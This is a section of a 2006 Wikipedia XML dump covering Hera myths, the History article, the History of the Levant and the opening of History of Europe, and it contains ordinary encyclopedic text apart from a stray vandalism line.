Tiresias was a priest of [[Zeus]], and as a young man he encountered two [[snake]]s mating and hit them with a stick. He was then transformed into a woman. As a woman, Tiresias became a priestess of [[Hera]], married and had children, including [[Manto (Greek mythology)|Manto]]. According to some versions of the tale, Lady Tiresias was a [[prostitute]] of great renown.  After seven years as a woman, Tiresias again found mating snakes, struck them with her staff, and became a man once more. As a result of his experiences, [[Zeus]] and [[Hera]] asked him to settle the question of which sex, male or female, experienced more pleasure during [[intercourse]]. Zeus claimed it was women; Hera claimed it was men. When Tiresias sided with Zeus, Hera struck him blind. Since Zeus could not undo what she had done, he gave him the gift of prophecy. An alternative and less commonly told story has it that Tiresias was blinded by [[Athena]] after he stumbled onto her bathing naked. His mother, [[Chariclo]], begged her to undo her curse, but Athena couldn't; she gave him prophecy instead.

=== [[Chelone]] ===
At the marriage of Zeus and Hera, a nymph named [[Chelone]] was disrespectful (or refused to attend).  Zeus condemned her to eternal silence.

=== The [[Iliad]] ===
During the [[Trojan War]], [[Diomedes]] fought with [[Hector]] and saw [[Ares]] fighting on the Trojans' side. Diomedes called for his soldiers to fall back slowly. Hera, Ares' mother, saw Ares' interference and asked Zeus, Ares' father, for permission to drive Ares away from the battlefield. Hera encouraged Diomedes to attack Ares and he threw his spear at the god. Athena drove the spear into Ares' body and he bellowed in pain and fled to Mt. Olympus, forcing the Trojans to fall back. 

=== The [[Golden Fleece]] ===
Hera hated [[Pelias]] for having murdered [[Sidero]], his step-grandmother, in a temple to Hera.  She later attempted to manipulate [[Jason]] and [[Medea]] to kill Pelias and succeeded.

=== The [[Metamorphoses (poem)|Metamorphoses]] ===
In [[Thrace]], as [[Ovid]] tells in ''Metamorphoses'' 6.87, Hera and Zeus turned King [[Haemus]] and Queen [[Rhodope]] into mountains, the Balkan ([[Haemus Mons]]) and [[Rhodope mountains|Rhodope mountain chain]] respectively for their [[hubris]] in comparing themselves to the gods.

== Hera in Neopaganism ==

Hera is one of the most popular gods among modern [[Neopaganism|Neopagan]] [[sect]]s in the [[United States]], particularly among ''Hellenistic'' [[Neopaganism|Neopagans]]. While most mythology regarding Hera seems to be conveniently omitted by most modern Neopagans, her roles remain much the same as they were in classical Hellenistic Paganism. 

Hera is seen as the goddess of the home and monogamy, and is believed to inspire love, loyalty, and happiness. Hera is also believed to inspire jealousy and is most commonly worshipped by women. All sects that include the worship of Hera encourage monogamy and the fulfillment of ''domestic duties''. Worship of Hera may include or inspire the collecting of fragrances and ornaments, extravagant home decoration, the burning of oils and incense (particularly within the home), and the spilling of drinks or the burning of bread and other foods as sacrifice. Some have jested that the most common form of worship is the spilling of drinks and the burning of food within the home.

==References==
*[[Walter Burkert|Burkert, Walter]], ''Greek Religion'' 1985.
*Burkert, Walter, ''The Orientalizing Revolution: Near Eastern Influence on Greek Culture in the Early Archaic Age'', 1998
*[[Robert Graves|Graves, Robert]], ''The Greek Myths'' 1955
*[[Karl Kerenyi|Kerenyi, Carl]], ''The Gods of the Greeks'' 1951 (paperback 1980)
*Ruck,  Carl A.P., and Danny Staples, ''The World of Classical Myth'' 1994
*[[Jean Seznec|Seznec, Jean]], ''The Survival of the Pagan Gods : Mythological Tradition in Renaissance Humanism and Art,'' 1953
*Slater, Philip E. ''The Glory of Hera : Greek Mythology and the Greek Family'' (Boston: Beacon Press) 1968 (Princeton University 1992 ISBN 0691002223 ) Concentrating on family structure in 5th-century Athens; some of the crude usage of myth and drama for psychological interpreting of &quot;neuroses&quot; is dated.

==External links==
{{Commonscat|Hera}}
*[http://hellas.teipir.gr/Thesis/Samos/english/tdk158.html The Samos Museum:] cult objects recovered from the Heraion at Samos

[[Category:Greek goddesses]]
[[Category:Fictional queens]]
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    </revision>
  </page>
  <page>
    <title>History</title>
    <id>13209</id>
    <revision>
      <id>42067165</id>
      <timestamp>2006-03-03T16:12:26Z</timestamp>
      <contributor>
        <username>UkPaolo</username>
        <id>269651</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/209.221.67.5|209.221.67.5]] ([[User talk:209.221.67.5|talk]]) to last version by Rick Norwood</comment>
      <text xml:space="preserve">{{portal}}
{{commonscat}}
{{dablink|For other senses of this word, see [[history (disambiguation)]].}}
{{dablink|History studies the past in human terms. For the science of locating events in time, unrelated to humans, see [[chronology]].}}

'''History''' is [[information]] about the [[past]]. When used as the name of a field of study, ''history'' refers to the study and interpretation of the record of [[human]]s, [[family history|families]], and [[society|societies]]. [[Knowledge]] of history is often said to encompass both knowledge of past events and [[historical thinking]] skills. 

Traditionally, the study of history has been considered a part of the [[humanities]]. However, in modern [[academia]], history is increasingly classified as a [[social science]], especially when [[chronology]] is the focus.

==Classifications==
{{main|Historical classification}}
Because history is such a large subject, organization is crucial.  While several writers, such as [[H.G. Wells]] and [[Will Durant]] &amp; [[Ariel Durant]], have written universal histories, most historians specialize. 

There are several different ways of classifying historical information:
*Chronological (by date)
*Geographical (by region)
*National (by nation)
*Ethnic (by ethnic group)
*Topical (by subject or topic)

Some people have criticized historical study, saying that it tends to be too narrowly focused on political events, armed conflicts, and famous people and that deeper and more significant changes in terms of ideas, technology, family life and culture warrant more attention. Recent developments in the practice of history have sought to address this.

==Historical records==
[[Historian]]s obtain information about the past from various kinds of sources, including written or printed records, coins or other artifacts, buildings and monuments, and interviews ([[oral history]]). For modern history, primary sources may include photographs, motion pictures, and audio and video recordings. Different approaches may be more common in the study of some periods than in others, and perspectives of history ([[historiography]]) vary widely.

Historical records have been maintained for a variety of reasons, including [[administration|administrative]] (such as [[census]]es, [[tax]] records, [[commerce|commercial]] records), [[politics|political]] (glorification or criticism of leaders and notable figures), [[religion|religious]], [[art|artistic]], [[sport|sporting]] (notably the [[Olympics]]), [[genealogy|genealogical]], personal ([[letter]]s), and [[entertainment]].

==History and prehistory==
Traditionally the study of history was limited to the written and spoken word. However with the rise of academic professionalism and the creation of new scientific fields in the 19th and 20th centuries came a flood of new information that challenged this notion — archaeology, anthropology and other social sciences were providing new information and even theories about human history. Some traditional historians questioned whether these new studies were really history, since they were not limited to the written word. A new term, ''[[prehistory]]'', was coined, to encompass the  results of these new fields where they yeilded information about times prior to the existence of written records.

In the twentieth century the artificial division between history and prehistory was proving problematic. Historians were looking beyond traditional political history narratives with new approaches such as economic, social and cultural history, all of which relied on various sources of evidence. Additionally, &quot;prehistorians&quot; such as [[Vere Gordon Childe]] were using archaeology to explain important events in areas that were traditionally in the field of history. The distinction was also criticized because of its implicit exclusion of certain civilizations, such as those of Sub-Saharan Africa and pre-Columbian America from the historical record. In recent decades the barriers between history and prehistory have thus largely disappeared.

Today there is no generally accepted definition for when history begins. In general history is today seen as the study of everything that is known about the human past (but even this barrier is being challenged by new fields such as [[Big History]]). Sources that can give light on this past such as [[oral history]], linguistics, and genetics, have all become accepted by mainstream historians.

==Etymology==
{{wiktionary}}

The term ''history'' entered the [[English language]] in [[1390]] with the meaning of &quot;relation of incidents, story&quot; via the  [[Old French]] ''historie'', from the [[Latin language|Latin]] ''historia'' &quot;narrative, account.&quot; This itself was derived from the  [[Ancient Greek]] {{Polytonic|ἱστορία}}, ''historía'', meaning &quot;a learning or knowing by inquiry, history, record, narrative,&quot; from the [[verb]] {{Polytonic|ἱστορεῖν}}, ''historeîn'', &quot;to inquire.&quot; 

This, in turn, was derived from {{polytonic|ἵστωρ}}, ''hístōr'' (&quot;wise man,&quot; &quot;witness,&quot; or &quot;judge&quot;). Early attestations of {{polytonic|ἵστωρ}} are from the [[Homeric Hymns]], [[Heraclitus]], the [[Athens|Athenian]] [[ephebe]]s' oath, and from [[Boeotia|Boiotic]] inscriptions (in a legal sense, either &quot;judge&quot; or &quot;witness,&quot; or similar). The spirant is problematic, and not present in cognate Greek ''eídomai'' (&quot;to appear&quot;).

{{polytonic|ἵστωρ}} is ultimately from the [[Proto-Indo-European language|Proto-Indo-European]] ''*wid-tor-'', from the [[Root (linguistics)|root]] ''*weid-'' (&quot;to know, to see&quot;), also present in the English word ''wit'', the Latin words ''vision'' and ''video'', the [[Sanskrit language|Sanskrit]] word ''[[veda]]'', and the [[Slavic language|Slavic]] word ''videti'', as well as others. (The asterisk before a word indicates that it is a hypothetical construction, not an attested form.) '{{polytonic|ἱστορία}}, ''historía'', is an [[Ionic Greek|Ionic]] derivation of the word, which with Ionic science and philosophy were spread first in [[Classical Greece]] and ultimately over all of [[Hellenism]].

In [[Middle English]], the meaning was &quot;story&quot; in general. The restriction to the meaning &quot;record of past events&quot; in the sense of [[Herodotus]] arises in the late [[15th century]]. In German, French, and indeed, most languages of the world other than English, this distinction was never made, and the same word is used to mean both &quot;history&quot; and &quot;story&quot;. A sense of &quot;systematic account&quot; without a reference to time in particular was current in the [[16th century]], but is now obsolete. The adjective ''historical'' is attested from [[1561]], and ''historic'' from [[1669]]. ''Historian'' in the sense of a &quot;researcher of history&quot; in a higher sense than that of an [[Annals|annalist]] or [[chronicle]]r, who merely record events as they occur, is attested from [[1531]].

==Historiography==
''See full article: [[Historiography]]''

Historiography is the study and analysis of history through a belief system or philosophy. Although there is arguably some intrinsic [[bias]] in historical studies (with national bias perhaps being the most significant), history can also be studied from [[ideology|ideological]] perspectives, such as [[Marxist historiography]].

A form of historical speculation known commonly as [[virtual history]] (&quot;counterfactual history&quot;) has also been adopted by some historians as a means of assessing and exploring the possible outcomes if certain events had not occurred or had occurred in a different way. This is somewhat similar to the [[Alternate history (fiction)|alternative history]] [[genre]] of [[fiction]].

==Historical methods==
Historians of note who have advanced the historical methods of study include [[Leopold von Ranke]], [[Lewis Bernstein Namier]], [[Geoffrey Rudolph Elton]], [[G.M. Trevelyan]] and [[A.J.P. Taylor]]. During the 1960's historians transitioned from epic nationalistic narratives that tended to glorify the nation or individuals to more realistic chronologies.  French historians introduced quantitative history, using broad data to track the lives of typical individuals, and were prominent in the establishment of [[cultural history]] (cf. [[histoire des mentalités]]).  American historians, motivated by the civil rights era, focused on formerly overlooked ethnic, racial, and socio-economic groups.  In recent years, [[postmodernism|postmodernists]] have challenged the validity and need for the study of history on the basis that all history is based on the personal interpretation of sources. In his book ''In Defense of History'', [[Richard J. Evans]], a professor of modern history at [[University of Cambridge|Cambridge University]], defended the worth of history.

==The lessons of history==
In addition to being an interesting topic of study in its own right, historians often claim that the study of history teaches valuable lessons with regard to past successes and failures of leaders, economic systems, forms of government, and other recurring themes in the human story. From history we may learn factors that result in the rise and fall of [[nation-state]]s or [[civilization]]s, motivations for political actions, the effects of social philosophies, and perspectives on [[culture]] and [[technology]].  

One of the most famous quotations about history and the value of studying history, by [[Spanish people|Spanish]] [[philosopher]], [[George Santayana]], reads: &quot;Those who cannot remember the past are condemned to repeat it.&quot; The [[German People|German]] [[German Philosophy|Philosopher]], [[Georg Wilhelm Friedrich Hegel]] remarked in his ''[[Philosophy of history]]'' that: &quot;What history and experience teach us is this: that people and government never have learned anything from history or acted on principles deduced from it.&quot; This was famously [[Paraphrase|paraphrased]] by the [[United Kingdom|British]] [[Prime Minister of the United Kingdom|statesman]], [[Winston Churchill]] into: &quot;The one thing we have learned from history is that we don't learn from history.&quot;

Winston Churchill alluded to another [[philosophy of history]] when he quipped, &quot;History will be kind to me for I intend to write it.&quot; Churchill had been a journalist, and was a very influential memoirist, but it's likely his joking comment didn't refer to his own literal writing, but was a variant of the famous: &quot;[[History is written by the victors]].&quot; In this view, the winners in human conflicts get to put their own [[spin (public relations)|spin]] on historic events.

An alternative view is that the forces of history are too great to be changed by human deliberation, or that, even if people do change the course of history, the movers and shakers of this world are usually too self-involved to stop to look at the big picture.

Yet another view is that history does not repeat itself because of the uniqueness of any given historical event. In this view, the specific combination of factors at any moment in time can never be repeated, and so knowledge about events in the past can not be directly and beneficially applied to the present. This approach is challenged in less [[Meta-|meta]]-historical terms with the notion that historical lessons can and should be drawn from events, and that careful generalizations of unique events is useful. For example, [[state of emergency|emergency]] response to [[natural disasters]] can be improved, even though each individual disaster is, in itself, absolutely unique.

==See also==
*[[Historian]]: A person who studies history.
*[[Pseudohistory]]: term for information about the past that falls outside the domain of mainstream history (sometimes it is an equivalent of [[pseudoscience]]).

''Methods and tools''
*[[Contemporaneous corroboration]]: A method historians use to establish facts beyond their limited lifespan. 
*[[Prosopography]]: A methodological tool for the collection of all known information about individuals within a given period.
*[[Historical revisionism]]: Traditionally been used in a completely neutral sense to describe the work or ideas of a historian who has revised a previously accepted view of a particular topic.

''Particular studies and fields''
*[[Archaeology]]: study of prehistoric and historic human cultures through the recovery, documentation and analysis of material remains and environmental data.
*[[Archontology]]: study of historical offices and important positions in state, international, political, religious and other organizations and societies.
*[[Art History]]: the study of changes in and social context of art. 
*[[Chronology]]: science of localizing historical events in time.
*[[Cultural history]]: the study of culture in the past.
*[[Diplomatic history]]: the study of international relations in the past.
*[[Economic History]]: the study of economies in the past. 
*[[Futurology]]: study of the future: researches the medium to long-term future of societies and of the physical world.
*[[Christian era]]: history of the Christian era.
*[[History painter]]: painters of historical motifs and particularly the great events.
*[[Military History]]:  The study of warfare and wars in history and what is sometimes considered to be a sub-branch of military history, [[Naval History]].
*[[Paleography]]: study of ancient texts.
*[[Political history]]: the study of politics in the past.
*[[Psychohistory]]: study of the psychological motivations of historical events.
*[[History of science]]: study of the structure and development of science.
*[[Social History]]: the study of societies in the past. 


''Other''
*[[Changelog]]: log or record of changes made to a project, such as a website or software project.
*[[Human evolution]]: process of change and development, or evolution, by which human beings emerged as distinct species. 
*[[Social change|Social change]]: changes in the nature, the social institutions, the social behavior, or the social relations of a society or community of people. 

''Lists''
*[[List of historians]]
*[[List of historians by area of study]]
*[[List of history journals]]

==References==
*Asimov, Isaac; ''Asimov's Chronology of the World''; Harper Collins, 1991
*Durant, Will &amp; Ariel; ''The Lessons of History''; MJF Books, 1997, ISBN#1567310249.
*Durant, Will &amp; Ariel; ''The Story of Civilization''; 11 vols., Simon &amp; Schuster.
*Evans, Richard J.; ''In Defence of History''; W. W. Norton (2000), ISBN 0393319598 
*Gonick, Larry; ''The Cartoon History of the Universe''; Doubleday, vol. 1 (1990) ISBN#0-385-26520-4, vol. II (1994) ISBN#0-385-42093-5, W. W. Norton, vol. III (2002) ISBN#0-393-05184-6.
*Wells, H. G.; ''An Outline of History''; Reprint Services Corporation (1920), ISBN#0781206618.
*''The World Almanac and Book of Facts'' (annual); World Almanac Education Group; 2004 ISBN 0-99687-910-8.

== External links==
*[http://www.endeavorpub.com/wiki/map.php World History Timeline on Google Maps] - Create events on a timeline and plot their location on Google Maps
*[http://www.simaqianstudio.com History Forum Simaqian Studio] - Online community for world history discussion
*[http://www.history-forum.com History Forum] - A world history discussion community
*[http://www.pophistorynow.com A comprehensive look at popular history from the 1950's-2000's Week-By-Week.] 
*[http://www.younghistorians.com/forum History Forum] - A history forum for teens, focusing on modern history as well as debating.
*[http://www.historyishappening.com/ History Forums - History is Happening] -Discuss all historical topics, as well as current events, in an academic setting.
*[http://timelines.ws &quot;Timelines of History&quot;] - A collection of timelines organized by time, location and subject matter 
*[http://www.fordham.edu/halsall/ Internet History Sourcebooks Project] See also [[Internet History Sourcebooks Project]]. Collections of public domain and copy-permitted historical texts presented cleanly (without advertising or excessive layout) for educational use.
*[http://51.1911encyclopedia.org/H/HI/HISTORY.htm History]  Article from the 1911 '''Encyclopedia Britannica'''.
*[http://www.historyofnations.net/ History of Nations] - Offers a history of every nation in the world.
*[http://personal.cmich.edu/~loren1mg/world-history.html World History Web Resources: An Annotated Guide] - Librarian Michael Lorenzen gives advice on history searching on the Web.
*[http://english.historia.se Historicalstatistics.org] - Links to historical economic statistics for different countries and regions
*[http://www.freehistory.org Free History] -  A [[search engine]] that indexes sites that deal with history
*[http://www.sankey.ws/sankey.html An example of Family History]
* [http://en.wikibooks.org/wiki/Wikibooks:Humanities_bookshelf#History Wikibooks:History ]
* [http://www.fsmitha.com/ World History] - a very large database of articles covering most time periods, with a single unified timeline of historical events worldwide.
*[http://world-history-blog.blogspot.com/ World History Blog] - Blog that features different aspects of world history
*[http://vlib.iue.it/history/index.html WWW-VL: History Central Catalogue] first history on the WWW, located at European University Institute
&lt;!--Categories--&gt;
[[Category:History| ]]
[[Category:School subjects]]
[[Category:Social sciences]]
[[Category:Top 10| History]]
&lt;!--Interlanguage links--&gt;

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  </page>
  <page>
    <title>History of the Levant</title>
    <id>13210</id>
    <revision>
      <id>41844667</id>
      <timestamp>2006-03-02T02:45:39Z</timestamp>
      <contributor>
        <username>Gramaic</username>
        <id>213771</id>
      </contributor>
      <minor />
      <comment>/* The Iron age */ wikify &quot;Iron age&quot;</comment>
      <text xml:space="preserve">This article concerns the '''[[History]] of the [[Levant]]''', which is a geographical term that refers to a large area in [[Southwest Asia]], south of the [[Taurus Mountains]], bounded by the [[Mediterranean Sea]] in the west, the [[Arabian Desert]] in the north, and [[Mesopotamia]] to the east. Occasionally, the term is employed to refer to modern events or states in the region immediately bordering the eastern Mediterranean Sea: [[Israel]], [[Palestine]], [[Jordan]], [[Lebanon]], and [[Syria]].

The Levant does not include [[Anatolia]] (although at times [[Cilicia]] may be included), the [[Caucasus Mountains]], or any part of the [[Arabian Peninsula]] proper. The [[Sinai]] Peninsula is sometimes included, though more considered an intermediate, peripheral or marginal area forming a land bridge between the Levant and northern [[Egypt]].

''For what the area is called by natives and others, see [[Names of the Levant]]. See also [[History of the Middle East]].''

==The [[Stone age]]==
The earliest known permanent settlements in the [[Levant]] were established by the hunters and gatherers of the  [[Natufian culture]]. The following [[Neolithic]] period is divided into the [[Pre-Pottery Neolithic A]] and B and the pottery neolithic. [[Agriculture]] became the dominant life-style during the PPNB, but there are traces of [[nomad]]ic hunters, especially in the Southern Levant and the [[Sinai]].

==The [[Bronze age]]==
The first cities started developing in southern [[Mesopotamia]] during the [[4th millennium BC]].  With these ties of religion began to replace ties of kinship as the basis for society.  Each city had a patron god, worshipped in a massive central temple called a ''[[ziggurat]]'', and was ruled by a priest-king (''ishakku'').  Society became more segmented and specialized and capable of coordinated projects like irrigation and warfare.

Along with cities came a number of advances in technology.  By around the [[31st century BC]], writing, the wheel, and other such innovations had been introduced.  By now the Sumerian Peoples of south Mesopotamia were all organized into a variety of independent [[City-state]]s, such as Ur and Uruk, which by around [[26th century BC]] had begun to [[coalescence|coalesce]] into larger political units.  By accommodating the conquered people's gods, religion became more polytheistic and government became somewhat more secular; the title of ''lugal'', big man, appears along side the earlier religious titles, although his primary duty is still the worship of the state gods.

This process came to its natural conclusion with the development of the first empires around the [[24th century BC]].  A people called the [[Akkadians]] invaded the valley under Sargon I and established their supremacy over the [[Sumerians]].  They were followed by the empires of [[Ur]] during the [[21st century BC|21st]] and [[22nd century BC|2nd]] centuries BC and the [[Old Kingdom of Babylonia]] during the [[17th century BC|17th]] and [[18th century BC|18th]] centuries BC.

Parallel developments were meanwhile occurring in [[Egypt]], which by the [[32nd century BC]] had been unified to form the [[Old Kingdom of Egypt]], and amongst the peoples of the [[Indus River|Indus Valley]] in north-western [[India]].  All of these civilizations lie in fertile river valleys where agriculture is relatively easy once dams and irrigation are constructed to control the flood waters.

This started to change around the end of the third millennium as cities started to spread to the nearby hilly country: among the [[Assyrian people|Assyrians]] in north Mesopotamia, the [[Canaanites]] in Syria-Palestine, to the [[Minoans]] in [[Crete]], and to the [[Hittites]] in eastern [[Anatolia]].  Around this same time various immigrants, such as the Hittites and [[Achaeans]], started appearing around the peripheries of civilization.

These groups are associated with the appearance of the light two-wheeled war chariot and typically with [[Indo-European]] languages.  Horses and chariots require a lot of time and upkeep, so their use was mainly confined to a small nobility.  These are the &quot;heroic&quot; societies familiar to us from epics like the ''[[Iliad]]'' and the ''[[Ramayana]]''.

Around the [[17th century BC|17th]] and [[16th century BC|16th]] centuries BC  most of the older centres had been overrun.  Babylonia was conquered by the Kassites, and the civilization of the Indus Valley was annihilated by the [[Indo-Aryans]].  Their kin, the [[Mitanni]], subjugated Assyria and for a time menaced the Hittite kingdom, but were defeated by the two around the middle of the [[14th century BC|14th]]. Various Achaean kingdoms developed in Greece, most notably that of [[Mycenae]], and by the [[15th century BC]] were dominant over the older Minoan cities.  And the Semitic [[Hyksos]] used the new technologies to occupy Egypt, but were expelled, leaving the empire of the [[New Kingdom of Egypt|New Kingdom]] to develop in their wake.

In the [[13th century BC]] all of these powers suddenly collapsed.  Cities all around the eastern Mediterranean were sacked within a span of a few decades by assorted raiders.  The Achaean kingdoms disappeared, and the Hittite empire was destroyed.  Egypt repelled its attackers with only a major effort, and over the next century shrank to its territorial core, its central authority permanently weakened.  Only Assyria escaped significant damage.

==The [[Iron age]]==
The destruction at the end of the bronze age left a number of tiny kingdoms and City-states behind.  A few [[Hittites|Hittite]] centres remained in northern [[Syria]], along with some [[Phoenicia]]n ports in [[Canaan]] that escaped destruction and developed into great commercial powers.  In the [[12th century BC]]  most of the interior, as well as [[Babylonia]], was overrun by [[Aramean]]s, while the shoreline around today's [[Gaza Strip]] fell to the [[Philistine]]s. By the late [[11th century BC|11th]]-early [[10th century BC]], Canaan had been conquered by the [[Hebrews]], also known as [[Israelite]]s who [[United Monarchy|united]] under one king, [[David]]. David made [[Jerusalem]] the capital of the [[Kingdom of Israel]]. See [[History of ancient Israel and Judah]] for details. 

In this period a number of technological innovations spread, most notably iron working and the [[Phoenician alphabet]], developed by the Phoenicians or the Canaanites around the [[16th century BC]].  Also around this time, the first major [[Monotheism|monotheist]] religion developed, [[Judaism]], which is still being practiced by [[Jew]]s. 

During the [[9th century BC]] the [[Assyrian people|Assyrians]] began to reassert themselves against the incursions of the Aramaeans, and over the next few centuries developed into a powerful and well-organised empire.  Their armies were among the first to employ cavalry, which took the place of chariots, and had a reputation for both prowess and brutality.  At their height, the Assyrians dominated all of Syria-Israel, Egypt, and Babylonia.  However, the empire began to collapse toward the end of the [[7th century BC]], and was obliterated by an alliance between a resurgent [[New Kingdom of Babylonia]] and the Iranian [[Medes]].

The subsequent balance of power was short-lived, though.  In the [[550s BC]] the [[Persians]] revolted against the Medes and gained control of their empire, and over the next few decades annexed to it the realms of [[Lydia]] in [[Anatolia]], [[Babylonia]], and [[Egypt]], as well as consolidating their control over the Iranian plateau nearly as far as [[India]].  This vast kingdom was divided up into various [[satrap]]ies and governed roughly according to the Assyrian model, but with a far lighter hand.  Around this time [[Zoroastrianism]] became the predominant religion in [[Iran|Persia]].

==The Classical empires==
From [[492 BC|492]]-[[449 BC]] the [[Persians]] made a series of unsuccessful attempts to conquer [[Greece]].  The civilisation that had developed there since the end of the bronze age was organised along entirely different lines than those of the [[Middle East]], consisting of numerous small City-States fielding citizen [[militia]]s.  Nonetheless they banded together and proved quite capable of dealing with the massive armies of their foe.

By the fourth century BC [[Iran|Persia]] had fallen into decline.  The campaigns of [[Xenophon]] illustrated how very vulnerable it had become to attack by an army organised along [[ancient Greece|Greek]] lines, but the Greek city-states had weakened each other irreparably through in-fighting.  However, in [[338 BC]] the rising power of [[Macedon]] overcame Greece, and under [[Alexander the Great]] turned its attention eastward.  Alexander conquered Persia in little more than a decade.

Alexander did not live long enough to consolidate his realm, and in the half-century following his death ([[323 BC]]) it was carved up by his feuding generals.  The [[Antigonid dynasty|Antigonids]] established themselves in Macedon, the [[Ptolemaic dynasty|Ptolemies]] in Egypt, and various small principalities appeared in northern Anatolia.  The greater share of the east went to the descendants of [[Seleucus I Nicator]].  This period saw great innovations in mathematics, science, architecture, and the like, and Greeks founded cities throughout the east, some of which grew to be the world's first major metropolises.  Their culture did not, however, reach very far into the countryside.

The [[Seleucid dynasty|Seleucids]] adopted a pro-western stance that alienated both the powerful eastern satraps and the Greeks who had migrated to the east.  During the [[2nd century BC]] Greek culture lost ground there, and the empire began to break apart.  The province of [[Bactria]] revolted, and [[Parthia]] was conquered by the semi-nomadic [[Parni]].  By [[141 BC]] the Parthians had established themselves as an empire, after the Seleucid model, and had conquered all of Iran and Mesopotamia.  The Seleucid kingdom continued to decline and its remaining provinces were annexed by the [[Roman Republic]] in [[64 BC]].

The [[Parthian]] nobility reacted against growing Roman influences around the turn of the millennium.  Throughout the next century there was a strong expansion of national culture and a dissolution in central authority.  In AD [[114]] [[Trajan]] temporarily occupied [[Mesopotamia]], and with the end of [[Hadrian]]'s 40-year peace the two powers were at almost constant hostilities.  Mesopotamia was occupied again, but the Parthians recovered and pillaged the Roman provinces.  Shortly thereafter, though, the province of Persia rose up in revolt, and defeated the last Parthian emperor in [[224]]. 

The new Persian dynasty, the [[Sassanid dynasty|Sassanids]], restored central authority.  In this period [[Zoroastrianism]] developed into an organised religion with close ties to the new state.  Various sects of [[Christianity]] also spread throughout [[Iran]], and [[Manichaeism]] developed from the two religions; these were initially tolerated but later persecuted as the Romans followed the opposite route.  Conflicts with [[Roman Empire|Rome]], and later with the [[Byzantine Empire]], continued intermittently.
	 
In [[391]] CE, the Byzantine era began with the permanent division of the Roman Empire into East and Western halves. The last true Roman Emperor in the West was unseated in [[476]], by which time it had been completely overrun by Germanic nations; however, the Eastern half, known as the [[Byzantine Empire]], lasted much longer, persevering in one form or another until [[1453]]. Byzantine control over the sites of Israel and Judah and other parts of the Levant lasted until [[636]], when it was conquered by [[Arabs]] and became a part of the Caliphate. 

The [[Byzantium|Byzantine]]s reached their lowest point under [[Phocas]], with the Sassanids occupying the whole of the eastern Mediterranean.  In [[610]], though, [[Heraclius]] took the throne of Constantinople and began a successful counter-attack, expelling the [[Persians]] and invading [[Medes|Media]] and [[Assyria]].  Unable to stop his advance, [[Khosrau II of Persia]] was assassinated and the Sassanid empire fell into anarchy.  Weakened by their quarrels, neither empire was prepared to deal with the onslaught of the [[Arabs]], newly unified under the banners of [[Islam]] and anxious to expand their faith.  By [[650]] Arab forces had conquered all of [[Iran|Persia]], [[Syria]], and [[Egypt]].

== The Islamic era ==
{{main|History of Islam}}

== The Ottoman period and the 20th century ==
{{main|History of the Middle East}}

== See also ==
*[[Ancient Near East]]
*[[Egypt]]
*[[Israel]]
*[[Jordan]]
*[[Lebanon]]
*[[Palestine]]
*[[Syria]]
*[[History of ancient Israel and Judah]]
*[[History of Egypt]]
*[[History of Israel]]
*[[History of Jordan]]
*[[History of Lebanon]]
*[[History of Palestine]]
*[[History of Syria]]

==External links==
* [http://ancientneareast.tripod.com/Levant.html The History of the Ancient Near East]

[[Category:Levant]]
[[Category:Ancient Near East]]
[[Category:History of the Middle East]]
[[Category:History of the Levant|*]]

[[pt:História da Mesopotâmia]]</text>
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    <title>History of Europe</title>
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      <text xml:space="preserve">Unce Unce Unce Unce Unce Unce Unce


{| cellpadding=&quot;1&quot; style=&quot;float: right; border: 1px solid #8888aa; background: #f7f8ff; padding: 5px; font-size: 85%; margin: 0 15px 0 15px;&quot;
| style=&quot;background: #ccf; text-align: center;&quot; | '''[[History of Europe]]'''
|-
|&lt;small&gt;'''Chronological'''
|-
| [[Prehistoric Europe]]
|-
| [[Classical antiquity]]
|-
| [[Middle Ages]]
|-
| [[Renaissance]]
|-
| [[Early Modern Europe]]
|-
| [[Modern Europe]]
|}

This article gives an account of the [[history]] of the continent of [[Europe]].

==The origins==
{{main|Prehistoric Europe}}
''[[Homo erectus]]'' and [[Neanderthal]]s settled [[Europe]] long before the emergence of modern humans, ''[[Human|Homo sapiens]]''. The bones of first Europeans are found in [[Dmanisi]], [[Georgia (country)|Georgia]], dated 2,000,000 BC.
The earliest appearance of anatomically modern people in Europe has been dated to 35,000 BC. Evidence of permanent settlement dates from the 7th millennium BC in [[Bulgaria]], [[Romania]] and [[Greece]]. The [[Neolithic]] reached [[Central Europe]] in the 6th millennium BC and parts of [[Northern Europe]] in the 5th and 4th millennium BC. There is no prehistoric culture that covers the whole of Europe. For short introductions to the various cultures, see [[Palaeolithic]], [[Mesolithic]], [[Neolithic]], [[Bronze Age]] and [[Iron Age]].

The first well-known literate civilization in Europe was that of the [[Minoans]] of the island of [[Crete]] and later the [[Mycenae|Mycenean]]s in the adjacent parts of [[Greece]], starting at the beginning of the 2nd millennium BC. Around 400 BC, the [[La Tene culture]] spread over most of the interior as far as the  [[Iberian Peninsula]] ([[Spain]] and [[Portugal]]), and later [[Anatolia]]. The [[Etruscans]] inhabited central Italy and Lombardy, where they were displaced by the [[Celts]], who mingled with earlier residents of Iberia to produce a unique [[Celtiberians|Celtiberian culture]].  As the Celts did not use a [[written language]], knowledge of them is piecemeal. The [[ancient Rome|Romans]] encountered them and recorded a great deal about them; these records and the archaeological evidence form our primary understanding of this extremely influential culture. The Celts posed a formidable, if disorganized, competition to the Roman state, that later colonized and conquered much of the southern portion of Europe.

==The Greeks==
{{main|ancient Greece}}
At the end of the [[Bronze Age]] the older Greek kingdoms collapsed and a brilliant new civilization grew up in their place.  The [[Hellenic civilization]] took the form of a collection of city-states (the most important being [[Athens]] and [[Sparta]]), having vastly differing types of government and cultures, including what are more-or-less unprecedented developments in various governmental forms, [[philosophy]], [[science]], [[politics]], [[sports]], [[theatre]] and [[music]]. The Hellenic city-states founded a large number of colonies on the shores of the [[Black Sea]] and the [[Mediterranean]] sea, [[Asia Minor]], [[Sicily]] and Southern Italy in [[Magna Graecia]], but in the 4th century BC their internal wars made them an easy prey for king [[Philip II of Macedon|Philip II]] of [[Macedon]]. The campaigns of his son [[Alexander the Great]] spread Greek culture into [[Iran|Persia]], [[Egypt]] and [[India]], but also favoured contact with the older learnings of those countries, opening up a new period of development, known as [[Hellenism]].

==Rome==
{{main|Ancient Rome}}
